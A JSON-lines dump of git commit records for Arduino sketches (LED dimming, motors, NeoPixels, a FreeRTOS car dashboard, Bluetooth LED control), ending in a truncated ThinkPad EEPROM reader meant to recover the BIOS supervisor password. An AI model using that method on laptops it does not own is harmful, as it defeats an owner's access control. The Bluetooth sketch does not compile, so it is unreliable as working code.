stripColor(10,10,10);\n \n}\n\nvoid loop() {\n\n dimHigh(0);\n\/\/ dimLow(0);\n delay(1000);\n\n for (int i=0; i<=100; i++) {\n dimHigh((float) i \/ 100);\n\/\/ dimLow((float) i \/ 100);\n delay(20);\n }\n \n delay(1000);\n \n\/\/ while (Serial.available() > 0){\n\/\/ char c = Serial.read();\n\/\/ \n\/\/ if (c == 'r') {\n\/\/ red = constrain(red-inc, 0, 255); \n\/\/ } else if (c == 'R') {\n\/\/ red = constrain(red+inc, 0, 255);\n\/\/ } else if (c == 'g') {\n\/\/ green = constrain(green-inc, 0, 255);\n\/\/ } else if (c == 'G') {\n\/\/ green = constrain(green+inc, 0, 255);\n\/\/ } else if (c == 'b') {\n\/\/ blue = constrain(blue-inc, 0, 255);\n\/\/ } else if (c == 'B') {\n\/\/ blue = constrain(blue+inc, 0, 255);\n\/\/ } else {\n\/\/ continue;\n\/\/ } \n\/\/\n\/\/ Serial.print(c);\n\/\/ Serial.print(' ');\n\/\/ Serial.print(red, DEC);\n\/\/ Serial.print(' ');\n\/\/ Serial.print(green, DEC);\n\/\/ Serial.print(' ');\n\/\/ Serial.println(blue,DEC);\n\/\/ stripColor(red, green, blue);\n\/\/ }\n \n \n}\n\nvoid stripColor(int red, int green, int blue){\n analogWrite(redPin, red);\n analogWrite(greenPin, green);\n analogWrite(bluePin, blue);\n}\n\nvoid dimHigh(float dim) {\n int red = calcDim(lowRed,highRed,dim);\n int green = calcDim(lowGreen,highGreen,dim);\n int blue = calcDim(lowBlue,highBlue,dim);\n stripColor(red, green, blue);\n}\n\nvoid dimLow(float dim){\n int red = calcDim(0,lowRed,dim);\n int green = calcDim(0,lowGreen,dim);\n int blue = calcDim(0,lowBlue,dim);\n stripColor(red, green, blue);\n}\n\nint calcDim(int low, int high, float dim) {\n return (0.5 + low + dim * (high-low));\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"4d1bff3b8ba29a843e44d6ef11db2ba147952a2c","subject":"Added string guage file","message":"Added string guage file\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"Strain Gauge\/Strain_Guague_Acquisition.ino","new_file":"Strain Gauge\/Strain_Guague_Acquisition.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Strain' did not match any file(s) known to git\nerror: pathspec 'Gauge\/Strain_Guague_Acquisition.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8b86d9f30aff7f1745e821926eb7e6b581ae526d","subject":"New example for 4 DC motors","message":"New example for 4 DC motors\n","repos":"7eggert\/L293_shield_v1","old_file":"examples\/Spin_DC_0123\/Spin_DC_0123.ino","new_file":"examples\/Spin_DC_0123\/Spin_DC_0123.ino","new_contents":"\/\/ Simple Motor Shield sketch\n\/\/ -----------------------------------\n\/\/\n\/\/ Spin a DC motor connected to M1 (Motor number 0) up and down into reverse\n\/\/ \n\/\/ by Bodo Eggert <7eggert@gmx.de>\n\/\/ see library file for additionla remarks on authorship and connectors\n\/\/ \n\/\/ August 2016\n\/\/ Open Source \/ Public Domain\n\/\/\n\/\/ Using Arduino 1.6.10\n\/\/\n\/\/\n\/\/ Connector usage\n\/\/ ---------------\n\/\/ The order is different than what you would expect.\n\/\/ If the Arduino (Uno) board is held with the USB\n\/\/ connector to the left, the positive (A) side is \n\/\/ at the top (north), and the negative (B) side is \n\/\/ the bottom (south) for both headers.\n\/\/\n\/\/ Connector X1:\n\/\/ M1 on outside = MOTOR1_A (+) north\n\/\/ M1 on inside = MOTOR1_B (-)\n\/\/\n\/\/ Motor 0 goes ^here^\n\/\/\n\/\/ M2 on inside = MOTOR2_A (+)\n\/\/ M2 on outside = MOTOR2_B (-) south\n\/\/\n\/\/ Motor 1 goes ^here^\n\/\/\n\/\/ Connector X2:\n\/\/ M3 on outside = MOTOR3_B (-) south\n\/\/ M3 on inside = MOTOR3_A (+)\n\/\/\n\/\/ Motor 2 goes ^here^\n\/\/\n\/\/ M4 on inside = MOTOR4_B (-)\n\/\/ M4 on outside = MOTOR4_A (+) north\n\/\/\n\/\/ Motor 3 goes ^here^\n\/\/\n\/\/ -------------------------------\n\/\/ | -+s |\n\/\/ | -+s |\n\/\/ M1 A | | M4 A\n\/\/ M1 B | | M4 B\n\/\/ GND | | GND\n\/\/ M2 A | | M3 A\n\/\/ M2 B | | M3 B\n\/\/ | ..... |\n\/\/ -------------------------------\n\/\/ + - \n\/\/\n\n#include <L293_shield_v1.h>\n\nvoid setup() {\n digitalWrite(13, 1);\n L293.DCMotor_set(0, L293.dir_forward);\n L293.DCMotor_set(1, L293.dir_forward);\n for (int i=1; i<256; i++) {\n L293.DCMotor_set_speed(0,i);\n delay(1000\/255); \/\/ don't care about drift\n }\n digitalWrite(13, 0);\n \/\/ motor 0 is spinning, 1 is at rest\n for (int i=1; i<256; i++) {\n L293.DCMotor_set_speed(0,256-i);\n L293.DCMotor_set_speed(1,i);\n delay(1000\/255); \/\/ don't care about drift\n }\n digitalWrite(13, 1);\n \/\/ motor 0 is at rest, 1 is spinning\n L293.DCMotor_set(0, L293.dir_rewind);\n \/\/ L293.DCMotor_set(2, L293.dir_forward); still in effect\n L293.DCMotor_set(2, L293.dir_forward);\n for (int i=1; i<256; i++) {\n L293.DCMotor_set_speed(0,i);\n L293.DCMotor_set_speed(1,256-i);\n L293.DCMotor_set_speed(2,i);\n delay(1000\/255); \/\/ don't care about drift\n }\n \/\/ motor 0 in reverse (full speed), motor 2 in forward (full speed)\n \/\/ others at rest\n}\n\nvoid slide(const int m0)\n{\n \/\/ motor m0 in reverse (full speed), motor m2 in forward (full speed)\n \/\/ others at rest\n const int m1 = (m0+1) & 3;\n const int m2 = (m0+2) & 3;\n const int m3 = (m0+2) & 3;\n digitalWrite(13, m0 & 1);\n L293.DCMotor_set(m1, L293.dir_rewind);\n L293.DCMotor_set(m3, L293.dir_forward);\n for (int i=1; i<256; i++) {\n L293.DCMotor_set_speed(m0,256-i);\n L293.DCMotor_set_speed(m2,256-i);\n L293.DCMotor_set_speed(m1,i);\n L293.DCMotor_set_speed(m3,i);\n delay(1000\/255); \/\/ don't care about drift\n }\n \/\/ motor m1 in reverse (full speed), motor m3 in forward (full speed)\n \/\/ others at rest\n}\n\nvoid loop()\n{\n for (int i=0; i<4; i++)\n slide(i);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Spin_DC_0123\/Spin_DC_0123.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ed7eb243a15b123c904a7321f09d3f33e1cd082f","subject":"Added new minimal REV7 test","message":"Added new minimal REV7 test","repos":"opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2","old_file":"Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/testsuite\/201611\/REV7Minimal\/REV7Minimal.ino","new_file":"Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/testsuite\/201611\/REV7Minimal\/REV7Minimal.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/testsuite\/201611\/REV7Minimal\/REV7Minimal.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5e757e5f0413091bbd4e4be3709aa9670914a468","subject":"Add simple arduino light sketch","message":"Add simple arduino light sketch","repos":"taktran\/light-strip,taktran\/light-strip","old_file":"arduino\/simple\/simple.ino","new_file":"arduino\/simple\/simple.ino","new_contents":"\/\/ NeoPixel Ring simple sketch (c) 2013 Shae Erisson\n\/\/ released under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n#define PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define NUMPIXELS 30\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\n\/\/ Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest\n\/\/ example for more information on possible values.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nuint32_t blankColor = pixels.Color(0,0,0);\nint DELAY_VAL = 200; \/\/ delay for half a second\n\nvoid setup() {\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n}\n\nvoid loop() {\n uint32_t green = pixels.Color(0,50,0);\n uint32_t red = pixels.Color(50,0,0);\n uint32_t blue = pixels.Color(0,0,50);\n uint32_t orange = pixels.Color(170,60,10);\n \n\/\/ moveOneForward(red, DELAY_VAL);\n\/\/ moveOneBackward(red, DELAY_VAL);\n\n colorWipe(green, DELAY_VAL);\n clearColor(1000);\n \n colorWipe(red, DELAY_VAL);\n clearColor(1000);\n}\n\nvoid clearColor(int delayVal) {\n pixels.clear();\n}\n\n\/\/ Fill the entire strip with a color\nvoid colorFill(uint32_t color) {\n for(int i = 0; i < pixels.numPixels(); i++) {\n pixels.setPixelColor(i, color); \n }\n\n pixels.show();\n}\n\nvoid moveOneBackward(uint32_t color, int delayVal) {\n int lastPixel = pixels.numPixels() - 1;\n for(int i = lastPixel; i >= 0; i--) {\n\n int prevPixel = i + 1;\n if (prevPixel <= lastPixel) {\n pixels.setPixelColor(i + 1, blankColor); \/\/ Moderately bright green color.\n }\n\n \/\/ pixels.Color takes RGB values, from 0,0,0 up to 255,255,255\n pixels.setPixelColor(i, color);\n\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n \n delay(delayVal);\n }\n}\n\nvoid moveOneForward(uint32_t color, int delayVal) {\n for(int i = 0; i < pixels.numPixels(); i++) {\n\n int prevPixel = i - 1;\n if (prevPixel >= 0) {\n pixels.setPixelColor(i - 1, blankColor); \/\/ Moderately bright green color.\n }\n\n \/\/ pixels.Color takes RGB values, from 0,0,0 up to 255,255,255\n pixels.setPixelColor(i, color);\n\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n \n delay(delayVal);\n }\n}\n\nvoid colorWipe(uint32_t color, int delayVal) {\n for(int i = 0; i < pixels.numPixels(); i++) {\n\n \/\/ pixels.Color takes RGB values, from 0,0,0 up to 255,255,255\n pixels.setPixelColor(i, color); \/\/ Moderately bright green color.\n\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n \n delay(delayVal);\n }\n\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/simple\/simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3be621bd80b9a5345bd84e45748d4d3e01595f9c","subject":"Adding the Arduino version of the Car Dashboard implemented with FreeRTOS","message":"Adding the Arduino version of the Car Dashboard implemented with FreeRTOS\n","repos":"eduardlopez\/FreeRTOS-Car-Dashboard","old_file":"Arduino-atmega1280-Version\/FreeRTOS_atmega1280.ino","new_file":"Arduino-atmega1280-Version\/FreeRTOS_atmega1280.ino","new_contents":"#include <Arduino_FreeRTOS.h>\n#include <croutine.h>\n#include <event_groups.h>\n#include <FreeRTOSConfig.h>\n#include <FreeRTOSVariant.h>\n#include <list.h>\n#include <mpu_wrappers.h>\n#include <portable.h>\n#include <portmacro.h>\n#include <projdefs.h>\n#include <queue.h>\n#include <semphr.h>\n#include <StackMacros.h>\n#include <task.h>\n#include <timers.h>\n\n#include <LiquidCrystal.h>\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\n\n\/*\n\/\/ define two tasks for Blink & AnalogRead\nvoid TaskBlink( void *pvParameters );\nvoid TaskAnalogRead( void *pvParameters );\n*\/\n\n\n\nSemaphoreHandle_t xSerialSemaphore;\n\n\n\nconst byte ledPinISR = 13;\nconst byte pinISR = 21;\nbyte ledPinISRstate = LOW;\n\nint pulses = 0;\n\nvoid ISRpulses() {\n pulses++;\n Serial.println(pulses);\n ledPinISRstate = !ledPinISRstate;\n digitalWrite(ledPinISR, ledPinISRstate);\n}\n\n\nstatic QueueHandle_t xqueue_DistanceCalcPulse_Input = NULL; \nstatic QueueHandle_t xqueue_SpeedCalcPulse_Input = NULL;\nstatic QueueHandle_t xqueue_DistanceCalc_OutputToFuelCalc = NULL;\n\nstatic QueueHandle_t xqueue_FuelCalc_Input = NULL; \nstatic QueueHandle_t xqueue_FuelCalc_OutpuToLed = NULL;\n\nstatic QueueHandle_t xQueueToCtrl = NULL;\n\ntypedef struct{\n float value;\n char source;\n} xDataToCtrt;\n\n\n\nstatic void prvPulseCounter_task(void *pvParameters){\n\n TickType_t xNextWakeTime;\n xNextWakeTime = xTaskGetTickCount();\n \n for (;;) { \n vTaskDelayUntil(&xNextWakeTime, 500\/portTICK_PERIOD_MS); \n xQueueSend(xqueue_DistanceCalcPulse_Input, &pulses, 0);\n xQueueSend(xqueue_SpeedCalcPulse_Input, &pulses, 0);\n pulses = 0; \n }\n}\n\n\n\n\nstatic void prvDistanceCalc_task(void *pvParameters){\n float distanceC = 0; \n\n int partialPulses;\n double partial_distance = 0; \n float pulsesD;\n \n typedef struct{\n float value;\n char source;\n } xDataToCtrt;\n\n xDataToCtrt xStructToSendToCtrl = { 0.0 , 'd' };\n\n for (;;) {\n \n \/\/ Se bloquea por \"siempre\" (portMAX_DELAY) hasta que haya algo en la cola\n if (xQueueReceive( xqueue_DistanceCalcPulse_Input, &partialPulses, portMAX_DELAY) == pdPASS) {\n pulsesD = (float) partialPulses;\n partial_distance = ( (pulsesD*(2*3.141516*159.1549431)) \/ (100000) ); \/\/ 20\" = 50.8 cm \n distanceC = distanceC + partial_distance;\n \n xStructToSendToCtrl.value = distanceC;\n xStructToSendToCtrl.source = 'd';\n \/\/Serial.println(distanceC, DEC);\n xQueueSend(xQueueToCtrl, &xStructToSendToCtrl, 0);\n xQueueSendToFront(xqueue_DistanceCalc_OutputToFuelCalc, &distanceC, 0);\n }\n }\n\n}\n\n\nstatic void prvSpeedCalc_task(void *pvParameters){\n\n \/\/xDataToCtrt *datatmp = (struct xDataToCtrt*) pvParameters;\n\n unsigned int partialPulses;\n float tiempo;\n float speed; \n float distance;\n \/\/ 500 ms in hours ~ 1.389 * 10^4\n tiempo = 0.000138888; \/\/ 1\/7200;\n float pulsesD;\n\n typedef struct{\n float value;\n char source;\n } xDataToCtrt;\n\n xDataToCtrt xStructToSendToCtrl = { 0.0 , 's' };\n for (;;) { \n \/\/ Se bloquea por \"siempre\" (portMAX_DELAY) hasta que haya algo en la cola\n if (xQueueReceive( xqueue_SpeedCalcPulse_Input, &partialPulses, portMAX_DELAY) == pdPASS) {\n pulsesD = (float) partialPulses;\n distance = ( (pulsesD*(2*3.141516*159.1549431) ) \/ (100000) ); \/\/ in km\n tiempo = 0.000138888;\n speed = distance \/ tiempo; \/\/ 20\" = 50.8 cm\n \n xStructToSendToCtrl.value = speed;\n xStructToSendToCtrl.source = 's';\n \/\/Serial.println(speed, DEC);\n \n xQueueSendToFront(xQueueToCtrl, &xStructToSendToCtrl, 0);\n }\n }\n}\n\n\n\n\nstatic void prvFuelLevel_task(void *pvParameters){\n\n TickType_t xNextWakeTime;\n xNextWakeTime = xTaskGetTickCount();\n\n \/*unsigned long fuel;\n fuel = 1000;*\/\n\n int fuelSensorValue = 0;\n \n for (;;) {\n \n vTaskDelayUntil(&xNextWakeTime, 500\/portTICK_PERIOD_MS);\n\n \/\/ Mira a ver si puede obtener o \"take\" el semaforo.\n \/\/ Si el semaforo no esta disponible, espera 2 ticks del scheduler para ver si luego este estara libre\n if ( xSemaphoreTake( xSerialSemaphore, ( TickType_t ) 2 ) == pdTRUE )\n {\n fuelSensorValue = analogRead(A0);\n xSemaphoreGive( xSerialSemaphore ); \/\/ Liberar semaforo\n } \n \n fuelSensorValue = map( fuelSensorValue, 200, 1000, 0, 100);\n if(fuelSensorValue>100){ fuelSensorValue=100; }\n else if( fuelSensorValue<0 ){ fuelSensorValue=0; }\n \/\/Serial.println(fuelSensorValue);\n \n xQueueSend(xqueue_FuelCalc_Input, &fuelSensorValue, 0); \n }\n}\n\n\n\n\nstatic void prvFuelCalc_task(void *pvParameters){\n\n int fuel0 = 0;\n int fuel1 = 0;\n \n float distance0 = 0;\n float distance1 = 0;\n \n float fuelRatio = 1;\n\n typedef struct{\n float value;\n char source;\n } xDataToCtrt;\n\n xDataToCtrt xStructToSendToCtrl = { 0.0 , 's' };\n\n for (;;) {\n \n \/\/ Se bloquea por \"siempre\" (portMAX_DELAY) hasta que haya algo en la cola\n if (xQueueReceive( xqueue_FuelCalc_Input, &fuel1, portMAX_DELAY) == pdPASS) {\n \/\/ printf(\"\\nDesde FUEL CALC @@@ | fuel = %lu\\n\", fuel );\n \/\/Serial.println(\"Hola 1\\n\");\n }\n if (xQueueReceive( xqueue_DistanceCalc_OutputToFuelCalc, &distance1, portMAX_DELAY) == pdPASS) {\n \/\/Serial.println(\"Hola 2\\n\");\n \/\/ printf(\"\\nDesde FUEL CALC @@@ | distance = %f\\n\", distance );\n }\n\n \/\/if(fuel==0 && distance==0){ fuelRatio = 1;}\n \/\/else{ fuelRatio = fuel\/distance; } \/\/ Para evitar Excepci\u00f3n de coma flotante (`core' generado)\n fuelRatio = ( (float)fuel0 - (float)fuel1 ) \/ ( (float)distance1 - (float)distance0 );\n\n xStructToSendToCtrl.value = fuelRatio;\n xStructToSendToCtrl.source = 'f';\n\/*\n Serial.println(fuel1);\n Serial.println(distance1);\n Serial.println((float)fuel0 - (float)fuel1, DEC);\n Serial.println(fuelRatio, DEC);\n Serial.println(\"\");\n*\/\n fuel0 = fuel1;\n distance0 = distance1;\n\n xQueueSend(xqueue_FuelCalc_OutpuToLed, &fuel1, 0);\n xQueueSendToFront(xQueueToCtrl, &xStructToSendToCtrl, 0);\n }\n}\n\n\n\nstatic void prvDisplaycCrl_task(void *pvParameters){\n float fuelratio;\n float distance;\n float speed;\n\n TickType_t xNextWakeTime;\n xNextWakeTime = xTaskGetTickCount();\n\n xDataToCtrt xStructsToCtrl ;\n\n Serial.println(\"11111111111\");\n \n for (;;) {\n Serial.println(\"2222222222222\");\n vTaskDelayUntil(&xNextWakeTime, 500\/portTICK_PERIOD_MS);\n int i=0;\n for (i=0; i<3; i++){\n if (xQueueReceive( xQueueToCtrl, &xStructsToCtrl, 1) == pdPASS) {\n if(xStructsToCtrl.source == 's') { \n speed = xStructsToCtrl.value; \n Serial.println(\"speed = \");\n Serial.print(speed);\n Serial.println(\"\");\n }\n if(xStructsToCtrl.source == 'd') { \n distance = xStructsToCtrl.value; \n Serial.println(\"distance = \");\n Serial.print(distance);\n Serial.println(\"\");\n }\n if(xStructsToCtrl.source == 'f') { \n fuelratio = xStructsToCtrl.value; \n Serial.println(\"fuelratio = \");\n Serial.print(fuelratio);\n Serial.println(\"\");\n }\n } \n }\n Serial.println(\"\");Serial.println(\"\");Serial.println(\"\");\n\n \/\/lcd.clear(); \/\/se limpia el display\n \n lcd.setCursor(0,0); \/\/nos situamos en la fila 0 columna 0\n lcd.print(\"Dist: \"); \/\/mostramos el texto fijo \n lcd.setCursor(5,0); \/\/nos situamos en la fila 1 columna 0\n lcd.print(distance); \/\/se muestra la variable del contador\n \n lcd.setCursor(0,1);\n lcd.print(\"Vel: \");\n lcd.setCursor(4,1);\n lcd.print(speed);\n \n lcd.setCursor(9,1);\n lcd.print(\"F: \");\n lcd.setCursor(11,1);\n lcd.print(fuelratio);\n \/\/delay(800);\n }\n \n \n}\n\n\n\n\nint ledPins[] = {\n 22, 24, 26, 28, 30, 32, 34, 36, 38, 40\n}; \nint pinCount = 10; \n\nstatic void prvLEDctrl_task(void *pvParameters){\n\n int fuel;\n\n for (;;) {\n \n \/\/ Se bloquea por \"siempre\" (portMAX_DELAY) hasta que haya algo en la cola\n if (xQueueReceive( xqueue_FuelCalc_OutpuToLed, &fuel, 500\/portMAX_DELAY) == pdPASS) {\n \/\/printf(\"\\n @@@@@@@@@@@@@@@@@@@@@@@@@ LED CTRL | fuelRatio = %f @@@@@@@@@@@@@@@@@@@@@@@@@ \\n\", fuelRatio );\n fuel = map( fuel, 0, 100, 0, 10);\n\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n\n if(thisPin < fuel ){\n digitalWrite(ledPins[thisPin], HIGH);\n }else{\n digitalWrite(ledPins[thisPin], LOW);\n } \n }\n\n Serial.println(fuel);\n }\n }\n\n}\n\n\n\n\n\n \nvoid setup() {\n\n \n if ( xSerialSemaphore == NULL ) \n {\n xSerialSemaphore = xSemaphoreCreateMutex(); \n if ( ( xSerialSemaphore ) != NULL )\n xSemaphoreGive( ( xSerialSemaphore ) ); \/\/ xSemaphoreGive libera el semaforo \n }\n\n \n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n pinMode(ledPins[thisPin], OUTPUT);\n }\n \n lcd.begin(16, 2);\n lcd.clear();\/\/ se limpia el display\n\n typedef struct{\n float value;\n char source;\n } xDataToCtrt1;\n\n Serial.begin(9600); \n pinMode(ledPinISR, OUTPUT);\n pinMode(pinISR, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(pinISR), ISRpulses, CHANGE );\n \n \n xqueue_DistanceCalcPulse_Input = xQueueCreate( 1, sizeof( unsigned long ) );\n xqueue_SpeedCalcPulse_Input = xQueueCreate( 1, sizeof( unsigned long ) );\n xqueue_DistanceCalc_OutputToFuelCalc = xQueueCreate( 1, sizeof( unsigned long ) );\n\n \n xqueue_FuelCalc_Input = xQueueCreate( 1, sizeof( unsigned int ) ); \n xqueue_FuelCalc_OutpuToLed = xQueueCreate( 1, sizeof( unsigned int ) );\n \n xQueueToCtrl = xQueueCreate( 3, sizeof( xDataToCtrt ) );\n\n \n\n xTaskCreate(\n prvPulseCounter_task\n , (const portCHAR *) \"prvPulseCounter_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 1 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL );\n \n xTaskCreate(\n prvDistanceCalc_task\n , (const portCHAR *) \"prvDistanceCalc_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 2 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL );\n\n xTaskCreate(\n prvSpeedCalc_task\n , (const portCHAR *) \"prvSpeedCalc_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 2 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL );\n\n\n\n\n xTaskCreate(\n prvFuelLevel_task\n , (const portCHAR *) \"prvFuelLevel_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 1 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL );\n\n xTaskCreate(\n prvFuelCalc_task\n , (const portCHAR *) \"prvFuelLevel_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 2 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL ); \n\n\n\n\n xTaskCreate(\n prvDisplaycCrl_task\n , (const portCHAR *) \"prvDisplaycCrl_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 3 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL );\n\n xTaskCreate(\n prvLEDctrl_task\n , (const portCHAR *) \"prvLEDctrl_task\" \/\/ A name just for humans\n , 128 \/\/ This stack size can be checked & adjusted by reading the Stack Highwater\n , NULL\n , 1 \/\/ Priority, with 1 being the highest, and 4 being the lowest.\n , NULL );\n \n\n \n \/\/ Now the task scheduler, which takes over control of scheduling individual tasks, is automatically started.\n}\n \nvoid loop()\n{\n \/\/ Empty. Things are done in Tasks.\n}\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino-atmega1280-Version\/FreeRTOS_atmega1280.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb7816c576005df9907caab8c934dce408687ec5","subject":"Example of a sketch that works on both Photon and Uno...","message":"Example of a sketch that works on both Photon and Uno...\n","repos":"plocher\/Arduino_h","old_file":"firmware\/examples\/blink\/blink.ino","new_file":"firmware\/examples\/blink\/blink.ino","new_contents":"\/\/ ------------\n\/\/ Blink a LED the hard way, using macros found in the Arduino environment...\n\/\/ Sketch works on both Photon and Uno...\n\/\/ ------------\n\n#include \"Arduino.h\"\n\n\/\/ ------------\n#ifdef SPARK_CORE \/\/ Particle...\n\nint LED_PIN = D7; \/\/ This one is the little blue LED on your board.\n\t\t \/\/ On the Photon it is next to D7, and on the Core it is next to the USB jack.\n\n#else \/\/ ... Arduino...\n\nint LED_PIN = 13; \/\/ normal LED location on UNO...\n\n#endif\n\/\/ ------------\n\nint val = LOW;\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop() {\n\n digitalWrite(LED_PIN, bitRead(val,0)); \/\/ use only bit 0 ...\n\n if ( bitRead(val, 0) ) {\n\tbitClear(val,0);\n } else {\n\tbitSet(val,0);\n }\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/blink\/blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63535d7053f0f8ab4e9f9f4bde5799a7596af21d","subject":"_01_kidSerie_sketch_02.HelloBT.ino #kidSerie","message":"_01_kidSerie_sketch_02.HelloBT.ino #kidSerie\n\n_01_kidSerie_sketch_02.HelloBT.ino #kidSerie","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_01_kidSerie_sketch_02.HelloBT.ino","new_file":"_01_kidSerie_sketch_02.HelloBT.ino","new_contents":"\/*\n Project name:\n 01 #kidSerie - Arduino & MIT App Instaler 2 & HC-06\n (Smart Phone App!)\n Flavour II - \n Hex File: _01_kidSerie_sketch_02.HelloBT.ino\n Revision History:\n 20161008:\n - board found on https:\/\/www.hackster.io\/ Examples\n (connect everything on HC-06 to access arduino by smart phone)\n\n Description:\n This program lets you to control a LED on pin 13 of arduino using a bluetooth module.\n\n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n IC Chip: Bluetooth Datasheet - HC-06 https:\/\/goo.gl\/s9ZcNC\n\n Connections:\n See Official youtube channel vids: https:\/\/youtu.be\/u1xqW6qtFXs\n\n\n Based on: Bluetooh Basic: LED ON OFF \n Website: http:\/\/bit.do\/Avishkar\n Code by: Mayoogh Girish\n Down : https:\/\/github.com\/Mayoogh\/Arduino-Bluetooth-Basic\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n \n*\/\nchar btooth = 0; \/\/ Variable for storing received data\nvoid setup()\n{\n Serial.begin(9600); \/\/ Sets the baud for serial data transmission\n \/\/Serial.begin(115200); \/\/ I set this baudrate\n pinMode(13, OUTPUT); \/\/ Sets digital pin 13 as output pin\n}\nvoid loop()\n{\n if (Serial.available() > 0) \/\/ Send data only when you receive data:\n {\n btooth = Serial.read(); \/\/Read the incoming data & store into data\n Serial.println(btooth); \/\/Print Value inside data in Serial monitor\n if (btooth == 'on') \/\/ Checks whether value of data is equal to 1\n digitalWrite(13, HIGH); \/\/If value is 1 then LED turns ON\n else if (data == 'off') \/\/ Checks whether value of data is equal to 0\n digitalWrite(13, LOW); \/\/If value is 0 then LED turns OFF\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_01_kidSerie_sketch_02.HelloBT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc00aec01a8f8b85be7b20e57335179a08a9bc26","subject":"Tried reading 24RF08 in T42","message":"Tried reading 24RF08 in T42\n","repos":"dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs","old_file":"Misc\/thinkpadEepromReader\/thinkpadEepromReader.ino","new_file":"Misc\/thinkpadEepromReader\/thinkpadEepromReader.ino","new_contents":"\/*\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\n\n\nDescription:\nReads an i2c eeprom R24RF08 (or similar) in a thinkpad laptop to recover the supervisor password. \nConnect wires to the eeprom according to various websites.\n\n\n!!!!!!!!!!!! The 12c bus voltage must be 3.3V !!!!\nReduce the voltage of the arduino or use a level shifter!!\n\nAny damage to your device is you own responsibility \n\n\nReferences:\nhttp:\/\/www.allservice.ro\nhttp:\/\/www.ja.axxs.net\/\n\n\n\n*\/\n\n\n\n\n\/\/i2c pin definitions\nconst char scl = 11;\nconst char sda = 12;\nconst byte delay_halfperiod = 100;\n\n\n\n\/\/returns false on nack\nboolean send_i2c_data(byte *data, byte byte_count){\n\tchar 